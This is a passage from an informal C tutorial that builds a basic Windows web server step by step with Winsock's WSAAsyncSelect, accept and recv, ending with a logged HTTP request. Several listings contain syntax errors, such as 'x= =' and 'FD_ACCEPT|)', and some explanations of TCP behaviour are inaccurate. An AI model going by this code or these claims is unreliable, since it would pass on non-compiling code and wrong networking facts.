and ‘ FD_READ ‘ are #defined in the file <winsock.h>. ‘FD_ACCEPT ’ is used to tell the TCP/IP stack, whether the server wants to accept the connection or not. ‘ FD_READ ’ is used to read the packet sent by the incoming connection to our server. This Macro will be explained in greater detail later.

Now when you run your program you will see that there is no change in the output.

WSASTARTUP = 0
SOCKET = 3
BIND = 0

Now let’s change our program as below and see as to how we can trap ‘ WM_USER+1 ’.

#include <windows.h>
#include <stdio.h>
 
WNDCLASS a;
MSG c;         
HWND b;
long _stdcall zzz();
int d;
char aa[1000];
WSADATA ws;
SOCKET s;
struct sockaddr_in A;
 
void abc(char *p)
{
        FILE *fp=fopen("c:\\bbb.txt","a+");
        fprintf(fp,"%s",p);
        fclose(fp);
}
 
_stdcall WinMain(HINSTANCE i, HINSTANCE j, char *k, int l)
{
        a.hInstance = i;
        a.lpszClassName = "Hi";
        a.lpfnWndProc = zzz;
        a.hbrBackground = GetStockObject(WHITE_BRUSH);
        RegisterClass(&a);
b = CreateWindow("Hi","Bye",WS_OVERLAPPEDWINDOW,1,2,10,50,0,0,i,0);
        ShowWindow(b,3);
        while(GetMessage(&c,0,0,0))
               DispatchMessage(&c);
}
 
long _stdcall zzz(UINT w,UINT x,UINT y, long z)
{
        if(x= =WM_USER+1)
        {
               MessageBox(0,"Hi","You are now connected.", 0);
        }
        if(x= =WM_LBUTTONDOWN)
        {
               d=WSAStartup(0x101,&ws);
               sprintf(aa,"WSASTARTUP = %ld\n",d);
               abc(aa);
               s=socket(AF_INET,SOCK_STREAM,0);
               sprintf(aa,"SOCKET = %ld\n",s);
               abc(aa);
               A.sin_family=AF_INET;
               A.sin_port=htons(80);
               A.sin_addr.s_addr= INADDR_ANY;
               d=bind(s,(struct sockaddr*)&A,sizeof(A));             
               sprintf(aa,"BIND = %ld\n",d);
               abc(aa);
               WSAAsyncSelect(s,b,WM_USER+1,FD_ACCEPT|FD_READ);
               MessageBox(0,"first Message","first Box",0);
        }
        if (x= = WM_DESTROY)
               PostQuitMessage(0);
        return DefWindowProc(w,x,y,z);
}

In the previous program we had explained the use of " WM_USER+1 ". In this program we have used it in an ‘ if ‘ condition to see if we have actually explained it to you correctly. We shall know when our server gets called because of the nice little MessageBox we have put in the ‘if’ condition. So now whenever a client connects on to our server, the TCP/IP stack sends our application a WM_USER+1. Our callback function ‘ zzz() ’ will now be called and asked as to what should be done with the incoming connection.

Execute this program and click on the window to activate your server. Well, you are in for a disappointment. You will not be able to see the MessageBox which you are eagerly waiting to see. Do not suspect us of leading you astray. So far, using the function ‘bind()’, we have merely told the TCP/IP stack that the server is bound to port 80, we have also told it that any packet for this port and IP address is to be sent to us. But in the function ‘ bind() ’, we had not mentioned as to when the packet is to be sent. The TCP/IP stack is very particular as to when it will send us the incomming packet. It sends the packet only if there is sees a ‘ listen() ’ function. This function ensures that our server will listen on the port for any messages which the TCP IP stack sends. So far, the TCP/IP stack hadn’t been able to send us anything as our server was not listening on the port viz. 80. Hence the ‘ if ’ condition of ‘ WM_USER+1 ’ is not satisfied and so there is no change in the "bbb.txt" file which will show the following output.

WSASTARTUP = 0
SOCKET = 3
BIND = 0

Let’s make the server listen on the port i.e. port 80.

#include <windows.h>
#include <stdio.h>
 
WNDCLASS a;
MSG c;         
HWND b;
long _stdcall zzz();
int d;
char aa[1000];
WSADATA ws;
SOCKET s,s1;
struct sockaddr_in A,A1;
 
void abc(char *p)
{
        FILE *fp=fopen("c:\\bbb.txt","a+");
        fprintf(fp,"%s",p);
        fclose(fp);
}
 
_stdcall WinMain(HINSTANCE i, HINSTANCE j, char *k, int l)
{
        a.hInstance = i;
        a.lpszClassName = "Hi";
        a.lpfnWndProc = zzz;
        a.hbrBackground = GetStockObject(WHITE_BRUSH);
        RegisterClass(&a);
b = CreateWindow("Hi","Bye",WS_OVERLAPPEDWINDOW,1,2,10,50,0,0,i,0);
        ShowWindow(b,3);
        while(GetMessage(&c,0,0,0))
               DispatchMessage(&c);
}
 
long _stdcall zzz(UINT w,UINT x,UINT y, long z)
{
        if(x= =WM_USER+1)
        {
               MessageBox(0,"Hi","You are now connected.", 0);
        }
        if(x= =WM_LBUTTONDOWN)
        {
               d=WSAStartup(0x101,&ws);
               sprintf(aa,"WSASTARTUP = %ld\n",d);
               abc(aa);
               s=socket(AF_INET,SOCK_STREAM,0);
               sprintf(aa,"SOCKET = %ld\n",s);
               abc(aa);
               A.sin_family=AF_INET;
               A.sin_port=htons(80);
               A.sin_addr.s_addr= INADDR_ANY;
               d=bind(s,(struct sockaddr*)&A,sizeof(A));             
               sprintf(aa,"BIND = %ld\n",d);
               abc(aa);
               WSAAsyncSelect(s,b,WM_USER+1,FD_ACCEPT|FD_READ);
               d=listen(s,100);
               sprintf(aa,"LISTEN = %ld\n",d);
               abc(aa);
               MessageBox(0,"first Message","first Box",0);
        }
        if (x= = WM_DESTROY)
               PostQuitMessage(0);
        return DefWindowProc(w,x,y,z);
}

In this program we are asking the server to listen on a specific port through the function ‘ listen() ’. This function is passed two parameters. The first parameter is the global SOCKET ‘ s ’ which has information about the port number, the protocols, and the IP address of the server. The second parameter is a number ‘100 ‘.

For using this number ‘ 100 ’ as our parameter, we had conducted a survey where we had asked the first one hundred people we met, their favourite number. On reviewing our data we found that 38.5% of the people had said ‘ 100 ‘. We then decided to take a chance and used this number ‘ 100 ’ as our second parameter. Incidentally, we later came to know that the day we had conducted our survey, was the day when Sachin Tendulkar hit his 14th Test Century. Now by giving this reason we are inferring that we have used a number ‘ 100 ‘, you are free to use any number you may be wanting to use.

Now run this program. What do you see? Yahoo! We did it. You finally are able to see the MessageBox which you had been desperate to see. So, you should now be satisfied. But hold on. Don’t count your chickens too soon. Just ask the person who connected to your server through his Browser, you will know that though you got the MessageBox with the message "You are now Connected", our server is not yet complete. You will find that the Browser is still waiting for a reply from us. For this purpose we first have to accept the connection from the client. Before continuing with our program, check out the text file " bbb.txt ". The output will be as shown below.

WSASTARTUP = 0
SOCKET = 3
BIND = 0
LISTEN = 0

Let’s now proceed to try and make our program accept a connection from an incoming client. Change our program as under.

#include <windows.h>
#include <stdio.h>
 
WNDCLASS a;
MSG c;         
HWND b;
long _stdcall zzz();
int d;
char aa[1000];
WSADATA ws;
SOCKET s,s1;
struct sockaddr_in A,A1;
 
void abc(char *p)
{
        FILE *fp=fopen("c:\\bbb.txt","a+");
        fprintf(fp,"%s",p);
        fclose(fp);
}
 
_stdcall WinMain(HINSTANCE i, HINSTANCE j, char *k, int l)
{
        a.hInstance = i;
        a.lpszClassName = "Hi";
        a.lpfnWndProc = zzz;
        a.hbrBackground = GetStockObject(WHITE_BRUSH);
        RegisterClass(&a);
b = CreateWindow("Hi","Bye",WS_OVERLAPPEDWINDOW,1,2,10,50,0,0,i,0);
        ShowWindow(b,3);
        while(GetMessage(&c,0,0,0))
               DispatchMessage(&c);
}
 
long _stdcall zzz(UINT w,UINT x,UINT y, long z)
{
        if(x= =WM_USER+1)
        {
               d=sizeof(A1);
               s1 = accept(s,(struct sockaddr *)&A1,&d);
               MessageBox(0,"Hi","You are now connected.", 0);
        }
        if(x= =WM_LBUTTONDOWN)
        {
               d=WSAStartup(0x101,&ws);
               sprintf(aa,"WSASTARTUP = %ld\n",d);
               abc(aa);
               s=socket(AF_INET,SOCK_STREAM,0);
               sprintf(aa,"SOCKET = %ld\n",s);
               abc(aa);
               A.sin_family=AF_INET;
               A.sin_port=htons(80);
               A.sin_addr.s_addr= INADDR_ANY;
               d=bind(s,(struct sockaddr*)&A,sizeof(A));             
               sprintf(aa,"BIND = %ld\n",d);
               abc(aa);
               WSAAsyncSelect(s,b,WM_USER+1,FD_ACCEPT|FD_READ);
               d=listen(s,100);
               sprintf(aa,"LISTEN = %ld\n",d);
               abc(aa);
               MessageBox(0,"first Message","first Box",0);
        }
        if (x= = WM_DESTROY)
               PostQuitMessage(0);
        return DefWindowProc(w,x,y,z);
}

In this program we have created another variable ‘ s1 ’ which looks like our friend, the Macro ‘ SOCKET ‘. This variable ‘ s1 ’ is initialised to the return value of the function ‘ accept() ’. We have also created another structure " A1 " which looks like the structure ‘ sockaddr_in ‘. In our ‘ if ‘ condition for ‘ WM_USER+1 ’, we are using the ‘ accept() ‘ function, to say that our server is now ready to accept connections from any client. This ‘ accept() ‘ function, has to be passed three parameters. The first parameter to be passed is the socket which knows the protocol and the port number to which the server is bound. This, in our program, is stored in the global variable ‘ s ’ which looks like ‘ SOCKET ’. The second parameter to be passed is the address of the structure ‘ A1 ’ which looks like the structure tag ‘ sockaddr_in ‘ - we cannot make use of the other structure ‘A’ because we have already initialised some of it's variables. We have to store the incoming client’s IP address, it's port number, etc. To store the address, port no, etc. we have to use a new structure with none of it's variables initialised. We have initialised the variable ‘ d ’ to the size of the structure ‘A1’. The last parameter is the address of this variable ‘ d ’.

Let us try to understand why we had to create another variable viz. ‘s1’. The variable ‘ s1’ is initialised to the return value of the function ‘ accept() ‘. The socket ‘ s1 ’ will now have the IP address and port number of the client who is connecting to our server. Because of this, we had to initialise another variable which looks like the Macro ‘ SOCKET ’. If we had used our earlier ‘ SOCKET ‘ ‘ s ’, it would have been reinitialised. Now on executing this program and getting a client to connect to our server, what do you see? Your MessageBox is now getting called called twice. This shows that your if condition of WM_USER+1 is getting called twice. But there is no other change in the program . The output in file "bbb.txt" will look as under.

WSASTARTUP = 0
SOCKET = 3
BIND = 0
LISTEN = 0

Well friends, would you be interested in finding out the IP address of the machine that is connecting to your server? We know that the IP address is stored in the member ‘sin_addr.s_addr’ of the structure ‘A1’ which looks like ‘sockaddr_in’. This member is actually a ‘ union ’. Do you remember what a ‘ union ’ is? Something we had done in ‘C ’ under DOS. This ‘ union ’ is made up of two ‘ structures ’ and a ‘ long ’. The IP address of the incomming connection is stored in this long number. So now if we have a ‘ union ’ with two members, one a ‘ structure ’ with four ‘ chars ’, and the other a ‘ long ’, we can also know the IP address of the connecting client in the Dotted Decimal Notation. For this purpose we have to change the code of the program in the following manner.

#include <windows.h>
#include <stdio.h>
 
WNDCLASS a;
MSG c;         
HWND b;
long _stdcall zzz();
int d;
char aa[1000];
WSADATA ws;
SOCKET s,s1;
struct sockaddr_in A,A1;
struct aax
{
        char aaa;
        char aab;
        char aac;
        char aad;
};
 
union 
{
        struct aax ah;
        long bh;
}v;
 
void abc(char *p)
{
        FILE *fp=fopen("c:\\b.txt","a+");
        fprintf(fp,"%s",p);
        fclose(fp);
}
 
_stdcall WinMain(HINSTANCE i, HINSTANCE j, char *k, int l)
{
        a.hInstance = i;
        a.lpszClassName = "Hi";
        a.lpfnWndProc = zzz;
        a.hbrBackground = GetStockObject(WHITE_BRUSH);
        RegisterClass(&a);
b = CreateWindow("Hi","Bye",WS_OVERLAPPEDWINDOW,1,2,10,50,0,0,i,0);
        ShowWindow(b,3);
        while(GetMessage(&c,0,0,0))
               DispatchMessage(&c);
}
 
long _stdcall zzz(UINT w,UINT x,UINT y, long z)
{
        if(x==WM_USER+1)
        {
               d=sizeof(A1);
               s1 = accept(s,(struct sockaddr *)&A1,&d);
               v.bh = A1.sin_addr.s_addr;
               sprintf(aa,"Client's IP Address = %d.%d.%d.%d\n", v.ah.aaa, v.ah.aab, 
                       v.ah.aac, v.ah.aad);
               abc(aa);
               MessageBox(0,"Hi","You are now connected.", 0);
        }
        if(x==WM_LBUTTONDOWN)
        {
               d=WSAStartup(0x101,&ws);
               sprintf(aa,"WSASTARTUP = %ld\n",d);
               abc(aa);
               s=socket(AF_INET,SOCK_STREAM,0);
               sprintf(aa,"SOCKET = %ld\n",s);
               abc(aa);
               A.sin_family=AF_INET;
               A.sin_port=htons(80);
               A.sin_addr.s_addr= INADDR_ANY;
               d=bind(s,(struct sockaddr*)&A,sizeof(A));             
               sprintf(aa,"BIND = %ld\n",d);
               abc(aa);
               WSAAsyncSelect(s,b,WM_USER+1,FD_ACCEPT|FD_READ);
               MessageBox(0,"first Message","first Box",0);
               d=listen(s,100);
               sprintf(aa,"LISTEN = %ld\n",d);
               abc(aa);
        }
        if (x== WM_DESTROY)
               PostQuitMessage(0);
        return DefWindowProc(w,x,y,z);
}

In this program we have created a structure ‘ aax ’ having four ‘ chars ’. We also have a ‘ union ’ with a ‘ long ’ and the structure ‘aax ’. We know that a ‘ long ’ takes four bytes of memory on the stack. In this program the structure ‘ aax ’ also takes four bytes of memory on stack as it has four ‘chars ’ as it's members. We also know that a union takes the memory of the largest of it's members and uses the same memory for all it's other members.

In this program we have a union with a ‘ long ’ which takes four bytes and also a ‘ structure ’ which uses the same four bytes of memory. We know that an IP address is a long number so we are capturing this number in a long. After this long number gets stored in memory , we then use the four ‘ chars ’ of the structure ‘ aax ’, to read the four bytes from memory, one at a time and store it into the file "bbb.txt". We thus get the IP address of the client in the Dotted Decimal Notation. For the sake of confirmation, let's check out the file "bbb.txt" which will now look as under.

WSASTARTUP = 0
SOCKET = 3
BIND = 0
LISTEN = 0
Client's IP Address = 70.0.0.8
Client's IP Address = 70.0.0.8

We know that WM_USER+1 is called twice, so we get the IP address of the client twice and we have used the ‘ sprintf() ’ function in such a way that we get the IP address in the Dotted Decimal Notation. Friends, so far we have been acting selfish. We have only allowed a client to connect to our server. We are however not fulfilling his request for a file from our server. For that matter, we are not even reading his request.

Let's change our program as below and have a look at the output.

#include <windows.h>
#include <stdio.h>
WNDCLASS a;
MSG c;
HWND b;
long _stdcall zzz();
int d;
char aa[1000];
WSADATA ws;
SOCKET s,s1;
struct sockaddr_in A,A1;
 
void abc(char *p)
{
        FILE *fp=fopen("c:\\bbb.txt","a+");
        fprintf(fp,"%s",p);
        fclose(fp);
}
 
_stdcall WinMain(HINSTANCE i, HINSTANCE j, char *k, int l)
{
        a.hInstance = i;
        a.lpszClassName = "Hi";
        a.lpfnWndProc = zzz;
        a.hbrBackground = GetStockObject(WHITE_BRUSH);
        RegisterClass(&a);
b = CreateWindow("Hi","Bye",WS_OVERLAPPEDWINDOW,1,2,10,50,0,0,i,0);
        ShowWindow(b,3);
        while(GetMessage(&c,0,0,0))
               DispatchMessage(&c);
}
 
long _stdcall zzz(UINT w,UINT x,UINT y, long z)
{
        if(x= =WM_USER+1)
        {
                       d=sizeof(A1);
                       s1 = accept(s,(struct sockaddr *)&A1,&d);
                       sprintf(aa,"LOWORD(z) = %ld, HIWORD(z) = %ld,
                               FD_ACCEPT = ld, FD_READ = %ld\n", LOWORD(z),
                               HIWORD(z), FD_ACCEPT, FD_READ);
                       abc(aa);
                       MessageBox(0,aa,aa,0);
        }
        if(x= =WM_LBUTTONDOWN)
        {
               d=WSAStartup(0x101,&ws);
               sprintf(aa,"WSASTARTUP = %ld\n",d);
               abc(aa);
               s=socket(AF_INET,SOCK_STREAM,0);
               sprintf(aa,"SOCKET = %ld\n",s);
               abc(aa);
               A.sin_family=AF_INET;
               A.sin_port=htons(80);
               A.sin_addr.s_addr= INADDR_ANY;
               d=bind(s,(struct sockaddr*)&A,sizeof(A));             
               sprintf(aa,"BIND = %ld\n",d);
               abc(aa);
               WSAAsyncSelect(s,b,WM_USER+1,FD_ACCEPT|FD_READ);
               d=listen(s,100);
               sprintf(aa,"LISTEN = %ld\n",d);
               abc(aa);
               MessageBox(0,"first Message","first Box",0);
        }
        if (x= = WM_DESTROY)
               PostQuitMessage(0);
        return DefWindowProc(w,x,y,z);
}

So far, we have used the Macros FD_ACCEPT and FD_READ as part of the syntax without trying to understand what they are used for. In this program we are using the ‘ if ’ condition of ‘ WM_USER+1 ’ to find the value of LOWORD(z), HIWORD(z), FD_ACCEPT and FD_READ.

Now you run this program. What do you see? You now see the two MessageBoxes. If you were a bit observant, you would have noticed that the value of ‘ LOWORD(z) ’ in the MessageBox changes, each time ‘ WM_USER+1 ’ gets called. The importance of these changes are explained below. But before continuing with our program check out the text file "bbb.txt". The output will be as shown below.

WSASTARTUP = 0
SOCKET = 3
BIND = 0
LISTEN = 0
LOWORD(z) =8,HIWORD(z) =0,FD_ACCEPT =8,FD_READ =1
LOWORD(z) =1,HIWORD(z) =0,FD_ACCEPT =8,FD_READ =1

Looking at this output, you will be assured that the code in the ‘ if ’ condition ‘ WM_USER+1 ’ does get called twice. You also see that on both the occasions, the value of ‘ LOWORD(z) ’ changes. The first time the value ‘ LOWORD(z) ’ is ‘ 8 ‘ and the next time around it is ‘ 1 ’. You will also notice that the values of ‘ FD_ACCEPT ’ and ‘ FD_READ ’ are ‘ 8 ‘ and ‘ 1 ‘ respectively (If you are insane or brave enough like us, you can explore the <winsock.h> header file. You will find that these #defined Macros are allotted values ‘ 8 ‘ and ‘ 1 ‘ respectively). This shows that the first time the variable ‘ LOWORD(z) ’ takes the value of the ‘ FD_ACCEPT ‘ Macro and the next time around, it takes the value of ‘ FD_READ ’. This shows that ‘ FD_ACCEPT ‘ is called first and only afterwards does ‘ FD_READ ‘ gets called. We now know that our ‘ WM_USER+1 ’ gets called twice. We also know that when ‘ WM_USER+1 ’ gets called the first time, it calls ‘ FD_ACCEPT ’ and the next time around it calls ‘ FD_READ ’. So we can now have two more ‘ if ’ conditions in our ‘ WM_USER+1 ’ condition. The first can be used to accept the incoming connection while the second can be used to do something else. So let’s see how we can exploit these ‘ if ’ conditions in our next program.

#include <windows.h>
#include <stdio.h>
WNDCLASS a;
MSG c;         
HWND b;
long _stdcall zzz();
int d;
char aa[1000];
WSADATA ws;
SOCKET s,s1;
struct sockaddr_in A,A1;
 
void abc(char *p)
{
        FILE *fp=fopen("c:\\bbb.txt","a+");
        fprintf(fp,"%s",p);
        fclose(fp);
}
 
_stdcall WinMain(HINSTANCE i, HINSTANCE j, char *k, int l)
{
        a.hInstance = i;
        a.lpszClassName = "Hi";
        a.lpfnWndProc = zzz;
        a.hbrBackground = GetStockObject(WHITE_BRUSH);
        RegisterClass(&a);
b = CreateWindow("Hi","Bye",WS_OVERLAPPEDWINDOW,1,2,10,50,0,0,i,0);
        ShowWindow(b,3);
        while(GetMessage(&c,0,0,0))
               DispatchMessage(&c);
}
 
long _stdcall zzz(UINT w,UINT x,UINT y, long z)
{
        if(x= =WM_USER+1)
        {
               if ( LOWORD(z) = = FD_ACCEPT)
               {
                       d=sizeof(A1);
                       s1 = accept(s,(struct sockaddr *)&A1,&d);
                       sprintf(aa,"FD_ACCEPT");
                       abc(aa);
                       MessageBox(0,"Hello","You are in FD_ACCEPT",0);
               }
               if( LOWORD(z) = = FD_READ)
               {
                       sprintf(aa,"FD_READ");
                       abc(aa);
                       MessageBox(0,"Hi","You are now in FD_READ",0);
               }
        }
        if(x = =WM_LBUTTONDOWN)
        {
               d=WSAStartup(0x101,&ws);
               sprintf(aa,"WSASTARTUP = %ld\n",d);
               abc(aa);
               s=socket(AF_INET,SOCK_STREAM,0);
               sprintf(aa,"SOCKET = %ld\n",s);
               abc(aa);
               A.sin_family=AF_INET;
               A.sin_port=htons(80);
               A.sin_addr.s_addr= INADDR_ANY;
               d=bind(s,(struct sockaddr*)&A,sizeof(A));             
               sprintf(aa,"BIND = %ld\n",d);
               abc(aa);
               WSAAsyncSelect(s,b,WM_USER+1,FD_ACCEPT|FD_READ);
               d=listen(s,100);
               sprintf(aa,"LISTEN = %ld\n",d);
               abc(aa);
               MessageBox(0,"first Message","first Box",0);
        }
        if (x = = WM_DESTROY)
               PostQuitMessage(0);
        return DefWindowProc(w,x,y,z);
}

In this program we have removed the " sprintf() " functions we had used for finding the values of ‘ z ’ as well as ‘ FD_ACCEPT ‘ and ‘ FD_READ ‘. Instead, we have nested two ‘ if ’ conditions inside the ‘ if ’ condition of ‘ WM_USER+1 ’. The first ‘ if ’ condition is for ‘ FD_ACCEPT ’ while the other is for ‘ FD_READ ’. To assure ourselves, we have put in a ‘ sprintf() ’ function in both the ‘ if ’ conditions to find out which condition gets called first.

We have put the function ‘ accept() ’ in ‘ FD_ACCEPT ’ as we know that it is called the first time ‘ WM_USER+1 ’ message is sent to our application by the TCP/IP stack. On executing the program, you will find that both the MessageBoxes get called one after the other. You will also notice that the ‘ FD_ACCEPT ’ MessageBox gets called first and then ‘ FD_READ ’. This can be reconfirmed after you take a look at the output in the "bbb.txt" file. The text file will be as under.

WSASTARTUP = 0
SOCKET = 3
BIND = 0
LISTEN = 0
FD_ACCEPT
FD_READ

Here if you want to do some R & D, you can replace ‘ FD_ACCEPT ’ and ‘ FD_READ ’, in the ‘ if ’ conditions inside ‘ WM_USER+1 ’, with their values i.e. ‘ 8 ’ and ‘ 1 ’ respectively. You will see that the program works equally well if you use the numbers in the respective ‘ if ’ conditions.

Let's remove ‘ FD_ACCEPT ’ from ‘ WSAsyncSelect() ’ and learn it's importance to this program.

#include <windows.h>
#include <stdio.h>
WNDCLASS a;
MSG c;         
HWND b;
long _stdcall zzz();
int d;
char aa[1000];
WSADATA ws;
SOCKET s,s1;
struct sockaddr_in A,A1;
 
void abc(char *p)
{
        FILE *fp=fopen("c:\\bbb.txt","a+");
        fprintf(fp,"%s",p);
        fclose(fp);
}
 
_stdcall WinMain(HINSTANCE i, HINSTANCE j, char *k, int l)
{
        a.hInstance = i;
        a.lpszClassName = "Hi";
        a.lpfnWndProc = zzz;
        a.hbrBackground = GetStockObject(WHITE_BRUSH);
        RegisterClass(&a);
b = CreateWindow("Hi","Bye",WS_OVERLAPPEDWINDOW,1,2,10,50,0,0,i,0);
        ShowWindow(b,3);
        while(GetMessage(&c,0,0,0))
               DispatchMessage(&c);
}
 
long _stdcall zzz(UINT w,UINT x,UINT y, long z)
{
        if(x= =WM_USER+1)
        {
               if ( LOWORD(z) = = FD_ACCEPT)
               {
                       d=sizeof(A1);
                       s1 = accept(s,(struct sockaddr *)&A1,&d);
                       MessageBox(0,"Hello","You are in FD_ACCEPT",0);
               }
               if( LOWORD(z) = = FD_READ)
               {
                       MessageBox(0,"Hi","You are now in FD_READ",0);
               }
        }
 
        if(x= =WM_LBUTTONDOWN)
        {
               d=WSAStartup(0x101,&ws);
               sprintf(aa,"WSASTARTUP = %ld\n",d);
               abc(aa);
               s=socket(AF_INET,SOCK_STREAM,0);
               sprintf(aa,"SOCKET = %ld\n",s);
               abc(aa);
               A.sin_family=AF_INET;
               A.sin_port=htons(80);
               A.sin_addr.s_addr= INADDR_ANY;
               d=bind(s,(struct sockaddr*)&A,sizeof(A));             
               sprintf(aa,"BIND = %ld\n",d);
               abc(aa);
               WSAAsyncSelect(s,b,WM_USER+1, FD_READ);
               d=listen(s,100);
               sprintf(aa,"LISTEN = %ld\n",d);
               abc(aa);
               MessageBox(0,"first Message","first Box",0);
        }
 
        if (x= = WM_DESTROY)
               PostQuitMessage(0);
        return DefWindowProc(w,x,y,z);
}

On compiling this program you will not get any errors. So far, so good. When you execute the program, you are in for a disappointment. You will not be able to see any of the MessageBoxes present in ‘ WM_USER+1 ’. Ask the person who connected to your server and you will find out that he is now unable to connect to your server. Now what does this prove? This shows that the parameter ‘ FD_ACCEPT ’ is important and we cannot remove it from the program. This parameter ‘ FD_ACCEPT ’ is the one that decides whether the connection is to be accepted or rejected. If this parameter is present in the function ‘ WSAAsyncSelect() ’, the TCP IP stack has to send a ' Syn Ack ' to the client. Without FD_ACCEPT, the TCP/IP stack will reject the connection outright. Now checking out "bbb.txt" we see the following output.

WSASTARTUP = 0
SOCKET = 3
BIND = 0
LISTEN = 0

Now instead of removing FD_ACCEPT from the program, let's try removing FD_READ and see the result.

#include <windows.h>
#include <stdio.h>
WNDCLASS a;
MSG c;         
HWND b;
long _stdcall zzz();
int d;
char aa[1000];
WSADATA ws;
SOCKET s,s1;
struct sockaddr_in A,A1;
 
void abc(char *p)
{
        FILE *fp=fopen("c:\\bbb.txt","a+");
        fprintf(fp,"%s",p);
        fclose(fp);
}
 
_stdcall WinMain(HINSTANCE i, HINSTANCE j, char *k, int l)
{
        a.hInstance = i;
        a.lpszClassName = "Hi";
        a.lpfnWndProc = zzz;
        a.hbrBackground = GetStockObject(WHITE_BRUSH);
        RegisterClass(&a);
b = CreateWindow("Hi","Bye",WS_OVERLAPPEDWINDOW,1,2,10,50,0,0,i,0);
        ShowWindow(b,3);
        while(GetMessage(&c,0,0,0))
               DispatchMessage(&c);
}
 
long _stdcall zzz(UINT w,UINT x,UINT y, long z)
{
        if(x= =WM_USER+1)
        {
               if ( LOWORD(z) = = FD_ACCEPT)
               {
                       d=sizeof(A1);
                       s1 = accept(s,(struct sockaddr *)&A1,&d);
                       MessageBox(0,"Hello","You are in FD_ACCEPT",0);
               }
               if( LOWORD(z) = = FD_READ)
               {
                       MessageBox(0,"Hi","You are now in FD_READ",0);
               }
        }
        if(x = =WM_LBUTTONDOWN)
        {
               
               d=WSAStartup(0x101,&ws);
               sprintf(aa,"WSASTARTUP = %ld\n",d);
               abc(aa);
               s=socket(AF_INET,SOCK_STREAM,0);
               sprintf(aa,"SOCKET = %ld\n",s);
               abc(aa);
               A.sin_family=AF_INET;
               A.sin_port=htons(80);
               A.sin_addr.s_addr= INADDR_ANY;
               d=bind(s,(struct sockaddr*)&A,sizeof(A));             
               sprintf(aa,"BIND = %ld\n",d);
               abc(aa);
               WSAAsyncSelect(s,b,WM_USER+1,FD_ACCEPT|);
               d=listen(s,100);
               sprintf(aa,"LISTEN = %ld\n",d);
               abc(aa);
               MessageBox(0,"first Message","first Box",0);
        }
        if (x = = WM_DESTROY)
               PostQuitMessage(0);
        return DefWindowProc(w,x,y,z);
        
}

The person who connects to your server can see only one MessageBox on the screen, that of ‘ FD_ACCEPT ’. You will find out that the client can now connect to your server but the server will not read his request. This shows that the program works without ‘ FD_READ ’. The output in the "bbb.txt" file will now be as under.

 
WSASTARTUP = 0
SOCKET = 3
BIND = 0
LISTEN = 0

Have you spared a thought as to what should be done when you have to read the request sent by the connecting client to our server. Bet you didn’t. In actual practice both these Macros i.e. FD_ACCEPT and FD_READ are equally important. Without FD_ACCEPT the server will not know whether the incomming connection is to be accepted or rejected. The FD_READ is used to read the request sent by a client and satisfy the request by sending him the required file.

So far we have allowed clients to connect to our server, but were unable to handle any request sent by them. Before we attend to their request, we have to receive the request in our FD_READ. To handle the client’s request, we can call upon the services of the ‘ recv() ’ function. When you say FD_READ it means that the TCP/IP stack has some data for the sever. You have to understand that the function ‘ recv() ’ is still blocking, but as the TCP/IP stack calls the function ‘ recv() ’ only when there is data because of the function ‘ WSAAsyncSelect() ’, the application comes out of the function ‘ recv() ’ immediately.

In the next program we shall see how we can receive the requests from these incoming connections.

#include <windows.h>
#include <stdio.h>
WNDCLASS a;
MSG c;         
HWND b;
long _stdcall zzz();
int d;
char aa[1000];
char bb[2000];
WSADATA ws;
SOCKET s,s1;
struct sockaddr_in A,A1;
 
void abc(char *p)
{
        FILE *fp=fopen("c:\\bbb.txt","a+");
        fprintf(fp,"%s",p);
        fclose(fp);
}
_stdcall WinMain(HINSTANCE i, HINSTANCE j, char *k, int l)
{
        a.hInstance = i;
        a.lpszClassName = "Hi";
        a.lpfnWndProc = zzz;
        a.hbrBackground = GetStockObject(WHITE_BRUSH);
        RegisterClass(&a);
b = CreateWindow("Hi","Bye",WS_OVERLAPPEDWINDOW,1,2,10,50,0,0,i,0);
        ShowWindow(b,3);
        while(GetMessage(&c,0,0,0))
               DispatchMessage(&c);
}
 
long _stdcall zzz(UINT w,UINT x,UINT y, long z)
{
        if(x==WM_USER+1)
        {
               if ( LOWORD(z) == 8)
               {
                       d=sizeof(A1);
                       s1 = accept(s,(struct sockaddr *)&A1,&d);
                       MessageBox(0,"Hello","You are in FD_ACCEPT",0);
               }
               if( LOWORD(z) == 1)
                {
                       d = recv(s1,bb,2000,0);                       
                       sprintf(aa,"recv = %ld\n",d);
                       abc(bb);
                       MessageBox(0,"Hi","You are now in FD_READ",0);
               }
        }
        if(x==WM_LBUTTONDOWN)
        {
               
               d=WSAStartup(0x101,&ws);
               sprintf(aa,"WSASTARTUP = %ld\n",d);
               abc(aa);
               s=socket(AF_INET,SOCK_STREAM,0);
               sprintf(aa,"SOCKET = %ld\n",s);
               abc(aa);
               A.sin_family=AF_INET;
               A.sin_port=htons(80);
               A.sin_addr.s_addr= INADDR_ANY;
               d=bind(s,(struct sockaddr*)&A,sizeof(A));             
               sprintf(aa,"BIND = %ld\n",d);
               abc(aa);
               WSAAsyncSelect(s,b,WM_USER+1,FD_ACCEPT|FD_READ);
               d=listen(s,100);
               sprintf(aa,"LISTEN = %ld\n",d);
               abc(aa);
               MessageBox(0,"first Message","first Box",0);
        }
        if (x== WM_DESTROY)
               PostQuitMessage(0);
        return DefWindowProc(w,x,y,z);
}

The first thing to notice in this program, is the use of the numbers ‘ 8 ’ and ‘ 1 ’ in place of ‘FD_ACCEPT ’ and ‘ FD_READ ’ in the ‘ if ’ condition of ‘ WM_USER+1 ’. This is to show you that you can even use the numbers which ‘ FD_ACCEPT ’ and ‘ FD_READ ’ represent in the ‘ if ’ condition.

In this program you first have a ‘ recv() ‘ function, where you will receive the request header from the client i.e. the request for the file, which the client wants. The function ‘ recv() ’ is passed four parameters. The first parameter, is the socket which is used in accepting the incoming connection from the client, which in our case is ‘ s1 ’. The second parameter is an array, where we store the incoming requests of the client. The third parameter is the size of the array, i.e. to specify how many bytes of request is to be received from the client. The fourth parameter is ‘ 0 ’. This parameter is very meaningful. It is used to show the knowledge you will have if you do not follow our programs meticulously and in a correct manner.

The function ‘ recv() ’ reads the incomming packet , strips the header and if there is any data present i.e. request, it would store the data in the array ‘ bb ’. This can be seen in the output in the file "bbb.txt" which is as shown below.

WSASTARTUP = 0
SOCKET = 3
BIND = 0
LISTEN = 0
GET / HTTP/1.0
Connection: Keep-Alive
User-Agent: Mozilla/3.0 (Win95; I)
Host: 70.0.0.7
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*

